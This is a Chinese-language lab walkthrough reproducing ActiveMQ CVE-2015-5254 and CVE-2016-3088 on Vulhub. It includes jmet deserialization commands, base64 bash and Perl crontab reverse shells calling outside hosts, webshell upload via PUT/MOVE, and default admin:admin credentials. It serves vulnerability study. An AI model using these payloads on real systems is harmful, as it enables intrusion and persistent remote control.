ActiveMQ 反序列化漏洞(CVE-2015-5254)
漏洞詳情
ActiveMQ啟動后,將監聽61616和8161兩個端口,其中消息在61616這個端口進行傳遞,使用ActiveMQ這個中間件的程序也通過這個端口工作,8161是Web服務的端口,通過Web頁面可管理ActiveMQ
ActiveMQ反序列化漏洞存在於ActiveMQ5.13.0之前5.x版本中,該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。
復現
工具
需要使用jmet工具,首先下載jmet的jar文件,並手動在同目錄下創建一個external文件夾(否則可能會爆文件夾不存在的錯誤)
漏洞利用
- 構造可執行命令的java序列化對象
ysoserial集合了各種java反序列化payload,而jmet集成了ysoserial - 把序列化對象作為一個消息,發送給目標的工作端口
- 訪問Web管理頁面,讀取消息,觸發漏洞
ActiveMQ Web管理頁面默認賬號密碼是admin:admin
執行
java -jar jmet-0.1.0-all.jar -Q l3yx -I ActiveMQ -Y "touch /success" -Yp ROME 192.168.122.1 61616
usage: jmet [host] [port]
-Q,--Queue
-I,--impl
Qpid09| HornetQ| SwiftMQ| RabbitMQ|
OpenMQ
-Y,--ysoserial
-Yp,--payload
BeanShell1| CommonsBeanutils1|
CommonsCollections1|
CommonsCollections2|
CommonsCollections3|
CommonsCollections4|
CommonsCollections5| Groovy1|
Hibernate1| Hibernate2| Jdk7u21| JSON1|
ROME| Spring1| Spring2
-Q指定隊列消息名,-I指定JMS客戶端,這里是ActiveMQ,-Y指定具體的命令,-Yp指定payload類型,其后分別是ActiveMQ所在機器的ip及工作端口
所以這條命令是使用ROME payload把 執行 touch /success 命令序列化后作為名為l3yx的消息發送給ActiveMQ
然后在Web管理頁面可查看信息http://your-ip:8161/


查看消息的詳情后就可觸發反序列化漏洞,進入docker可以驗證命令執行結果
`docker-compose exec activemq bash`

然后使用反彈shell的命令
`java -jar jmet-0.1.0-all.jar -Q l3yx -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzEzMTQgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.122.1 61616`
Vulhub文檔里給的反彈shell的payload就是
`bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzEzMTQgMD4mMQ==}|{base64,-d}|{bash,-i}`
這條命令可以去看[linux下形如{command,parameter,parameter}執行命令 / bash花括號擴展](https://www.cnblogs.com/leixiao-/p/10216571.html)


#ActiveMQ任意文件寫入 (CVE-2016-3088)
##漏洞詳情
###背景
8161為web控制台端口,本漏洞就出現在web控制台中
ActiveMQ的web控制台分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:其使用率並不高而且文件操作容易出現漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
###漏洞利用
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
文件寫入有幾種利用方法:
1. 寫入webshell
2. 寫入cron或ssh key等文件
3. 寫入jar或jetty.xml等庫和配置文件
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋(但默認賬號密碼都是admin:admin)。寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑
##寫入webshell
寫入webshell,需要寫在admin或api應用中才能被解析,而這倆應用都需要登錄才能訪問,默認賬號密碼為admin:admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對路徑

訪問http://192.168.122.1:8161/fileserver/並用burp抓包,方便直接修改,改為PUT包,填寫文件名,並且內容寫入Cknife的jsp馬,返回204即為成功


移動到web目錄下的api文件夾(/opt/activemq/webapps/api/x.jsp)中(admin目錄下jsp也可被解析)

嘗試訪問無報錯則已經成功移動

在Cknife添加shell,而且還需要設置一個請求頭才能訪問,因為訪問api是需要通過基礎認證的,所以在Cknife的shell右鍵-設置-請求頭-開啟,並寫入Authorization: Basic YWRtaW46YWRtaW4= (該請求頭在通過基礎認證之后,訪問admin或是api目錄再用burp就可抓到)



##寫入crontab
cron是一個linux下 的定時執行工具,可以在無需人工干預的情況下運行作業,cron讀取一個或多個配置文件,這些配置文件中包含了命令行及其調用時間。cron的配置文件稱為crontab,是cron table的簡寫
Vulhub文檔里的配置
`*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
crontab中前5項應填數字,分別代表分鍾,小時,天,月,星期,`*`代表任意值;`,`允許一項內填多個值,其間就用逗號分隔;`/`可以理解為整除,`*/1` 和 `*` 沒有區別,`*/2` 可以看成是能被2整除的任意值;`*/1 * * * *`就代表每分鍾都會執行;`root`代表的是執行的級別為root身份。`/usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`是使用perl執行代碼,-e后面的代碼應該就是perl反彈shell的方法
首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗)

然后移動到/etc/cron.d/l3yx,/etc/cron.d/目錄下的文件都會被作為crontab而被讀取執行

然而並沒有成功,一番調試后,把絕對路徑執行perl`/usr/bin/perl -e`改為`perl -e`再次寫入/etc/cron.d/l3yx,shell反彈成功

這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件
參考:
[https://vulhub.org/#/environments/activemq/CVE-2015-5254/](https://vulhub.org/#/environments/activemq/CVE-2015-5254/)
[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
[https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md)
[Linux下的crontab定時執行任務命令詳解](https://www.cnblogs.com/longjshz/p/5779215.html)
[Ubuntu下crontab命令的用法](https://www.cnblogs.com/daxian2012/articles/2589894.html)